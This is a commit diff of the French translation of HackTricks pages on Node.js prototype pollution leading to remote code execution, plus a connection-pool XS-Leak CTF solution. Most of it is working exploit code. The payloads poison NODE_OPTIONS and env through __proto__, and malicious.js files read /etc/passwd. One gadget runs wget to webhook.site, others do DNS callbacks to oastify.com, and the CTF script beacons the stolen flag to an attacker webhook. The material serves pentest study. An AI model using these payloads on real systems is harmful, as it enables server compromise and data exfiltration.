Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

This commit is contained in:
Translator 2023-08-08 08:27:31 +00:00
parent bacabce310
commit 2cd07a5c58
4 changed files with 774 additions and 549 deletions

View file

@ -649,7 +649,7 @@
* [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md)
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
* [Connection Pool Example](pentesting-web/xs-search/connection-pool-example.md)
* [Connection Pool Examples](pentesting-web/xs-search/connection-pool-example.md)
* [Connection Pool by Destination Example](pentesting-web/xs-search/connection-pool-by-destination-example.md)
* [Cookie Bomb + Onerror XS Leak](pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md)
* [URL Max Length - Client Side](pentesting-web/xs-search/url-max-length-client-side.md)

View file

@ -1,42 +1,42 @@
# Pollution de prototype vers RCE
# Pollution du prototype vers RCE
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Code vulnérable
## Code Vulnérable
Imaginez un vrai JS utilisant un code comme celui-ci :
Imaginez un vrai JS utilisant du code comme celui-ci :
```javascript
const { execSync, fork } = require('child_process');
function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
function clone(target) {
return merge({}, target);
return merge({}, target);
}
// Run prototype pollution with user input
@ -47,11 +47,11 @@ clone(USERINPUT);
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');
```
## PP2RCE via les variables d'environnement
## PP2RCE via variables d'environnement
**PP2RCE** signifie **Prototype Pollution to RCE** (Exécution de code à distance).
Selon ce [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), lorsqu'un **processus est lancé** avec une méthode de **`child_process`** (comme `fork` ou `spawn` ou autres), il appelle la méthode `normalizeSpawnArguments` qui est un **gadget de pollution de prototype pour créer de nouvelles variables d'environnement** :
Selon ce [**rapport**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), lorsqu'un **processus est lancé** avec une méthode de **`child_process`** (comme `fork` ou `spawn` ou autres), il appelle la méthode `normalizeSpawnArguments` qui utilise un **gadget de pollution de prototype pour créer de nouvelles variables d'environnement** :
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -61,27 +61,27 @@ var envPairs = [];
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
Vérifiez ce code, vous pouvez voir qu'il est possible d'**empoisonner `envPairs`** simplement en **polluant** l'**attribut `.env`.**
Vérifiez ce code, vous pouvez voir qu'il est possible de **empoisonner `envPairs`** simplement en **polluant** l'attribut `.env`.
### **Empoisonnement de `__proto__`**
{% hint style="warning" %}
Notez que, en raison de la façon dont fonctionne la fonction **`normalizeSpawnArguments`** de la bibliothèque **`child_process`** de node, lorsqu'on appelle quelque chose pour **définir une nouvelle variable d'environnement** pour le processus, il suffit de **polluer n'importe quoi**.\
Notez que en raison du fonctionnement de la fonction **`normalizeSpawnArguments`** de la bibliothèque **`child_process`** de Node, lorsqu'il est appelé pour **définir une nouvelle variable d'environnement** pour le processus, il suffit de **polluer n'importe quoi**.\
Par exemple, si vous faites `__proto__.avar="valuevar"`, le processus sera lancé avec une variable appelée `avar` avec la valeur `valuevar`.
Cependant, pour que la **variable d'environnement soit la première**, vous devez **polluer** l'**attribut `.env`** et (uniquement dans certaines méthodes) cette variable sera la **première** (permettant l'attaque).
Cependant, pour que la **variable d'environnement soit la première**, vous devez **polluer** l'attribut **`.env`** et (uniquement dans certaines méthodes) cette variable sera la **première** (permettant l'attaque).
C'est pourquoi **`NODE_OPTIONS`** n'est **pas dans `.env`** dans l'attaque suivante.
C'est pourquoi **`NODE_OPTIONS`** n'est **pas à l'intérieur de `.env`** dans l'attaque suivante.
{% endhint %}
{% code overflow="wrap" %}
@ -106,7 +106,7 @@ clone(USERINPUT);
var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec
```
{% endcode %}
{% code %}
### Empoisonnement de `constructor.prototype`
```javascript
@ -131,9 +131,9 @@ var proc = fork('a_file.js');
```
## PP2RCE via variables d'environnement + ligne de commande
Une charge utile similaire à la précédente avec quelques modifications a été proposée dans [**ce rapport**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Les principales différences sont :
Une charge utile similaire à la précédente avec quelques modifications a été proposée dans [**ce compte rendu**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Les principales différences sont les suivantes :
* Au lieu de stocker la **charge utile** nodejs à l'intérieur du fichier `/proc/self/environ`, elle est stockée à l'intérieur de **argv0** de **`/proc/self/cmdline`**.
* Au lieu de stocker la **charge utile** de nodejs à l'intérieur du fichier `/proc/self/environ`, elle est stockée à l'intérieur de **argv0** de **`/proc/self/cmdline`**.
* Ensuite, au lieu de requérir via **`NODE_OPTIONS`** le fichier `/proc/self/environ`, il **requiert `/proc/self/cmdline`**.
{% code overflow="wrap" %}
@ -162,24 +162,24 @@ var proc = fork('a_file.js');
## Interaction DNS
En utilisant les charges utiles suivantes, il est possible d'exploiter la variable d'environnement NODE_OPTIONS que nous avons précédemment discutée et de détecter si elle a fonctionné avec une interaction DNS:
En utilisant les charges utiles suivantes, il est possible d'exploiter la variable d'environnement NODE\_OPTIONS dont nous avons discuté précédemment et de détecter si cela a fonctionné avec une interaction DNS :
```json
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}
```
Ou, pour éviter les pare-feux applicatifs web qui demandent le domaine :
Ou, pour éviter que les WAF ne demandent le domaine :
```json
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}
```
## Vulnérabilité PP2RCE des fonctions child\_process
@ -215,6 +215,8 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
```
{% endcode %}
</details>
<details>
@ -239,9 +241,9 @@ var proc = execFile('/usr/bin/node');
// Windows - not working
```
Pour que **`execFile`** fonctionne, il **DOIT exécuter node** pour que les NODE\_OPTIONS fonctionnent.\
Si ce n'est pas **node** qui est exécuté, vous devez trouver comment vous pouvez **modifier l'exécution** de ce qui est exécuté **avec des variables d'environnement** et les définir.
Si ce n'est pas **node** qui est exécuté, vous devez trouver comment **modifier l'exécution** de ce qui est exécuté **avec des variables d'environnement** et les définir.
Les **autres** techniques **fonctionnent** sans cette exigence car il est **possible de modifier** **ce qui est exécuté** via la pollution de prototype. (Dans ce cas, même si vous pouvez polluer `.shell`, vous ne polluerez pas ce qui est en train d'être exécuté).
Les **autres** techniques **fonctionnent** sans cette exigence car il est **possible de modifier** ce qui est exécuté via la pollution du prototype. (Dans ce cas, même si vous pouvez polluer `.shell`, vous ne polluerez pas ce qui est en cours d'exécution).
</details>
@ -293,7 +295,7 @@ var proc = fork('./a_file.js');
<details>
<summary><strong>Exploitation de <code>spawn</code></strong></summary>
<summary><strong><code>exploitation de spawn</code></strong></summary>
{% code overflow="wrap" %}
```javascript
@ -338,7 +340,7 @@ var proc = spawn('something');
<details>
<summary><strong>Exploitation de <code>execFileSync</code></strong></summary>
<summary><strong><code>execFileSync</code> exploitation</strong></summary>
{% code overflow="wrap" %}
```javascript
@ -385,7 +387,7 @@ var proc = execSync('something');
<details>
<summary><strong>Exploitation de <code>execSync</code></strong></summary>
<summary><strong><code>execSync</code> exploitation</strong></summary>
{% code overflow="wrap" %}
```javascript
@ -431,7 +433,7 @@ var proc = execSync('something');
<details>
<summary><strong>Exploitation de <code>spawnSync</code></strong></summary>
<summary><strong><code>spawnSync</code> exploitation</strong></summary>
{% code overflow="wrap" %}
```javascript
@ -481,23 +483,25 @@ var proc = spawnSync('something');
</details>
## Forcer Spawn
## Forcer le spawn
Dans les exemples précédents, vous avez vu comment déclencher la fonctionnalité d'un gadget qui appelle `spawn` en ayant besoin (toutes les méthodes de `child_process` utilisées pour exécuter quelque chose l'appellent). Dans l'exemple précédent, cela faisait partie du code, mais que se passe-t-il si le code ne l'appelle pas.
Dans les exemples précédents, vous avez vu comment déclencher la fonctionnalité d'un gadget qui appelle `spawn` nécessite qu'elle soit présente (toutes les méthodes de `child_process` utilisées pour exécuter quelque chose l'appellent). Dans l'exemple précédent, cela faisait partie du code, mais que se passe-t-il si le code ne l'appelle pas.
### Contrôle d'un chemin de fichier requis
### Contrôler le chemin d'un fichier require
Dans cet [**autre article**](https://blog.sonarsource.com/blitzjs-prototype-pollution/), l'utilisateur peut contrôler le chemin du fichier où un `require` sera exécuté. Dans ce scénario, l'attaquant doit simplement trouver un fichier `.js` à l'intérieur du système qui exécutera une méthode spawn lorsqu'il est importé.\
Dans ce [**autre article**](https://blog.sonarsource.com/blitzjs-prototype-pollution/), l'utilisateur peut contrôler le chemin du fichier où un `require` sera exécuté. Dans ce scénario, l'attaquant doit simplement trouver un fichier `.js` à l'intérieur du système qui exécutera une méthode spawn lorsqu'il est importé.\
Voici quelques exemples de fichiers courants appelant une fonction spawn lorsqu'ils sont importés :
* /path/to/npm/scripts/changelog.js
* /opt/yarn-v1.22.19/preinstall.js
* Trouvez **plus de fichiers ci-dessous**
Le script simple suivant recherchera les appels de **child\_process** **sans aucun rembourrage** (pour éviter de montrer des appels à l'intérieur de fonctions) :
Le script simple suivant recherchera les appels de `child_process` sans aucun rembourrage (pour éviter d'afficher les appels à l'intérieur des fonctions) :
{% code overflow="wrap" %}
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
```
@ -519,20 +523,20 @@ done
</details>
### Définition du chemin de fichier requis via la pollution de prototype
### Définition du chemin du fichier requis via la pollution du prototype
{% hint style="warning" %}
La **technique précédente nécessite** que l'**utilisateur contrôle le chemin du fichier** qui va être **requis**. Mais ce n'est pas toujours vrai.
La **technique précédente nécessite** que l'**utilisateur contrôle le chemin du fichier** qui va être **requis**. Mais ce n'est pas toujours le cas.
{% endhint %}
Cependant, si le code va exécuter un require après la pollution de prototype, même si vous **ne contrôlez pas le chemin** qui va être requis, vous **pouvez forcer un autre chemin en abusant de la pollution de prototype**. Ainsi, même si la ligne de code est comme `require("./a_file.js")` ou `require("bytes")`, elle **requerra le package que vous avez pollué**.
Cependant, si le code va exécuter un require après la pollution du prototype, même si vous **ne contrôlez pas le chemin** qui va être requis, vous **pouvez forcer un autre chemin en abusant de la pollution du prototype**. Ainsi, même si la ligne de code est `require("./a_file.js")` ou `require("bytes")`, elle **requerra le package que vous avez pollué**.
Par conséquent, si un require est exécuté après votre pollution de prototype et qu'il n'y a pas de fonction spawn, voici l'attaque :
Par conséquent, si un require est exécuté après votre pollution du prototype et qu'il n'y a pas de fonction spawn, voici l'attaque :
* Trouvez un **fichier `.js` dans le système** qui, lorsqu'il est **requis**, va **exécuter quelque chose en utilisant `child_process`**
* Si vous pouvez télécharger des fichiers sur la plateforme que vous attaquez, vous pouvez télécharger un fichier comme celui-ci
* Polluez les chemins pour **forcer le chargement du fichier `.js`** qui exécutera quelque chose avec child\_process
* **Polluez l'environnement/cmdline** pour exécuter du code arbitraire lorsqu'une fonction d'exécution de child\_process est appelée (voir les techniques initiales)
* Si vous pouvez télécharger des fichiers sur la plateforme que vous attaquez, vous pouvez télécharger un fichier comme celui-ci
* Polluez les chemins pour **forcer le require à charger le fichier `.js`** qui va exécuter quelque chose avec child\_process
* **Polluez l'environnement/cmdline** pour exécuter du code arbitraire lorsqu'une fonction d'exécution child\_process est appelée (voir les techniques initiales)
#### Require absolu
@ -570,25 +574,14 @@ var proc = require('bytes');
{% endtab %}
{% tab title="malicious.js" %}
```javascript
const { exec } = require('child_process');
exec('cat /etc/passwd', (err, stdout, stderr) => {
console.log(stdout);
});
```
{% endtab %}
{% endtabs %}
Nous avons maintenant une injection de commande à distance (RCE) sur le serveur.
```javascript
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");
```
{% endtab %}
{% endtabs %}
#### Relative require - 1
Si un **chemin relatif** est chargé au lieu d'un chemin absolu, vous pouvez faire en sorte que node **charge un chemin différent**:
@ -623,20 +616,6 @@ var proc = require('./relative_path.js');
{% endtab %}
{% tab title="malicious.js" %}
```javascript
const { exec } = require('child_process');
exec('cat /etc/passwd', (err, stdout, stderr) => {
console.log(stdout);
});
```
{% endtab %}
{% endtabs %}
Nous avons maintenant une injection de commande à distance (RCE) sur le serveur.
```javascript
const { fork } = require('child_process');
console.log("Hellooo from malicious");
@ -651,54 +630,6 @@ fork('/path/to/anything');
{% tab title="exploit" %}
{% code overflow="wrap" %}
```javascript
// poc.js
const vm = require('vm');
const { readFileSync } = require('fs');
const { join } = require('path');
const payload = `
const { exec } = require('child_process');
exec('touch /tmp/hacked');
`;
const sandbox = {
require: (module) => {
if (module === 'lodash') {
const lodash = require(module);
lodash.mixin({
'templateSettings': {
'evaluate': /<%([\s\S]+?)%>/g,
'interpolate': /<%=([\s\S]+?)%>/g,
'escape': /<%-([\s\S]+?)%>/g
}
});
return lodash;
}
return require(module);
}
};
const filename = join(process.cwd(), 'node_modules', 'lodash', 'template.js');
const fileContent = readFileSync(filename, 'utf-8');
vm.runInNewContext(fileContent, sandbox, { filename });
const template = '<%= console.log(process.mainModule.require("child_process").execSync("touch /tmp/hacked")) %>';
const compiled = sandbox._.template(template);
compiled();
```
{% endcode %}
{% endtab %}
{% tab title="description" %}
This exploit is a variation of the previous one. It abuses the `lodash` library to achieve prototype pollution. The difference is that this time the `lodash` library is required relatively, so it is not necessary to have it installed in the project's dependencies.
The exploit works by first loading the `lodash` library and then modifying its `templateSettings` object to allow code execution. Then, it creates a template string that executes arbitrary code and compiles it using the modified `lodash` library. Finally, the compiled template is executed, resulting in code execution.
This exploit can be used to achieve remote code execution in Node.js applications that use a vulnerable version of the `lodash` library and allow the loading of modules using relative paths.
{% endtab %}
{% endtabs %}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -727,38 +658,48 @@ var proc = require('./relative_path.js');
{% endtab %}
{% tab title="malicious.js" %}
```javascript
const { exec } = require('child_process');
exec('cat /etc/passwd', (err, stdout, stderr) => {
console.log(stdout);
});
```
{% endtab %}
{% endtabs %}
Nous avons maintenant une RCE sur le serveur.
```javascript
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');
```
## Gadgets VM
{% endtab %}
{% endtabs %}
#### Relative require - 3
Similaire au précédent, cela a été trouvé dans [**ce compte rendu**](https://blog.huli.tw/2022/12/26/fr/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
```javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}
require('./usage.js')
```
## Gadgets de la machine virtuelle
Dans l'article [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf), il est également indiqué que le contrôle de **`contextExtensions`** à partir de certaines méthodes de la bibliothèque **`vm`** pourrait être utilisé comme gadget.\
Cependant, comme les méthodes précédentes de **`child_process`**, cela a été **corrigé** dans les dernières versions.
## Corrections et protections inattendues
Veuillez noter que la pollution de prototype fonctionne si l'**attribut** d'un objet qui est en cours d'accès est **indéfini**. Si dans le **code** cet **attribut** est **défini** avec une **valeur**, vous ne pourrez pas l'écraser.
Veuillez noter que la pollution du prototype fonctionne si l'**attribut** d'un objet auquel on accède est **indéfini**. Si dans le **code** cet **attribut** est **défini** avec une **valeur**, vous **ne pourrez pas le modifier**.
En juin 2022, à partir de [**ce commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` au lieu de `{}` est un **`kEmptyObject`**. Ce qui **empêche la pollution de prototype** d'affecter les **attributs** de **`options`** pour obtenir RCE.\
Au moins depuis la version 18.4.0, cette protection a été **implémentée**, et donc les **exploits** `spawn` et `spawnSync` affectant les méthodes **ne fonctionnent plus** (si aucune `option` n'est utilisée !).
En juin 2022, à partir de [**cette validation**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` est un **`kEmptyObject`** au lieu de `{}`. Cela **empêche la pollution du prototype** d'affecter les **attributs** de **`options`** pour obtenir une RCE.\
Au moins depuis la version 18.4.0, cette protection a été **implémentée**, et donc les **exploits** `spawn` et `spawnSync` affectant les méthodes **ne fonctionnent plus** (si aucune `options` n'est utilisée !).
Dans [**ce commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), la **pollution de prototype** de **`contextExtensions`** de la bibliothèque vm a également été **corrigée** en définissant les options sur \*\*`kEmptyObject` \*\* au lieu de **`{}`.**
Dans [**cette validation**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), la **pollution du prototype** de **`contextExtensions`** de la bibliothèque vm a également été **corrigée** en définissant les options sur **`kEmptyObject`** au lieu de **`{}`**.
## Références
@ -771,10 +712,10 @@ Dans [**ce commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156c
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,4 +1,4 @@
# Exemple de pool de connexions
# Exemples de pool de connexions
<details>
@ -7,297 +7,511 @@
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Dans le défi [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) donne un exemple de la façon d'utiliser une **variation** de la technique de **pool de connexions** pour effectuer une **fuite de XS**.
## Sekaictf2022 - safelist
Dans ce défi, le but est d'extraire un drapeau qui apparaîtra dans la session web des bots à l'intérieur d'un post. Voici les actifs dont dispose l'attaquant :
Dans le défi [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) donne un exemple de la façon d'utiliser une **variation** de la technique du **pool de connexions** pour effectuer une **XS-Leak**.
* Le **bot** va **visiter** une **URL** donnée par l'attaquant
* L'attaquant peut **injecter du HTML** dans la page (mais pas de JS, dompurify est utilisé) en abusant d'un **CSRF** pour faire créer au **bot un post** avec cet HTML.
* L'attaquant peut abuser d'un CSRF pour faire **supprimer** le **premier post** à l'intérieur du web.
* Parce que les **posts** sont ordonnés **alphabétiquement**, lorsque le **premier post est supprimé**, si le **contenu HTML de l'attaquant est chargé**, cela signifie qu'il était **alphabétiquement avant le drapeau**.
Dans ce défi, l'objectif est d'exfiltrer un drapeau qui apparaîtra dans la session web des bots à l'intérieur d'un message. Voici les ressources dont dispose l'attaquant :
Par conséquent, pour voler le drapeau, la solution proposée par @Strellyc\_ est de, **pour chaque caractère à tester**, faire en sorte que le bot :
* Le **bot** va **visiter** une **URL** donnée par l'attaquant.
* L'attaquant peut **injecter du HTML** dans la page (mais pas de JS, dompurify est utilisé) en exploitant une **CSRF** pour faire en sorte que le **bot crée un message** avec ce HTML.
* L'attaquant peut exploiter une CSRF pour faire en sorte que le **bot** **supprime** le **premier message** dans le web.
* Comme les **messages** sont triés **par ordre alphabétique**, lorsque le **premier message est supprimé**, si le contenu **HTML** de l'attaquant est **chargé**, cela signifie qu'il était **alphabétiquement avant le drapeau**.
* Crée un **nouveau post** qui **commence** par la partie connue du **drapeau** et plusieurs **chargements d'img**.
* **Supprime** le **post** en position **0**.
Par conséquent, pour voler le drapeau, la solution proposée par @Strellyc\_ est, **pour chaque caractère à tester**, de faire en sorte que le bot :
* Crée un **nouveau message** qui **commence** par la partie connue du **drapeau** et plusieurs **chargements d'img**.
* **Supprime** le **message** à la position **0**.
* Bloque 255 sockets.
* Charge la page avec les posts
* Charge la page avec les messages.
* Effectue 5 requêtes aléatoires vers un site (example.com dans ce cas) et mesure le temps que cela prend.
{% hint style="warning" %}
Si le **post supprimé** était le **drapeau**, cela signifie que toutes les **images injectées** dans le HTML vont **combattre** avec les **5 requêtes aléatoires** pour ce socket **débloqué**. Ce qui signifie que le temps mesuré sera plus long que dans l'autre scénario.
Si le message **supprimé** était le **drapeau**, cela signifie que toutes les **images** **injectées** dans le HTML vont **conflituer** avec les **5 requêtes aléatoires** pour ce socket **débloqué**. Ce qui signifie que le temps mesuré sera plus long que dans l'autre scénario.
Si le **post supprimé** était le **HTML**, les **5 requêtes aléatoires** seront **plus rapides** car elles n'ont pas besoin de se battre pour ce socket avec le HTML injecté.
Si le message **supprimé** était le **HTML**, les **5 requêtes aléatoires** seront **plus rapides** car elles n'ont pas besoin de se battre pour ce socket avec le HTML injecté.
{% endhint %}
### Exploit 1
Voici le code d'exploitation, tiré de [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html) :
Voici le code d'exploitation, extrait de [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html) :
```html
<!-- Form to inject HTML code in the bots page -->
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
<input type="text" name="text" />
<input type="submit" />
<input type="text" name="text" />
<input type="submit" />
</form>
<!-- Form to delete the first entry -->
<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
<input type="text" name="index" value="0" />
<input type="submit" />
<input type="text" name="index" value="0" />
<input type="submit" />
</form>
<script>
// Attacker listening
const WEBHOOK = "https://WEBHOOK.com/";
// Send data to attacker
const log = (id, data) => {
let payload = JSON.stringify({ known, alphabet, data });
console.log(id, payload);
navigator.sendBeacon(WEBHOOK + "?" + id, payload);
}
// Attacker listening
const WEBHOOK = "https://WEBHOOK.com/";
// Send data to attacker
const log = (id, data) => {
let payload = JSON.stringify({ known, alphabet, data });
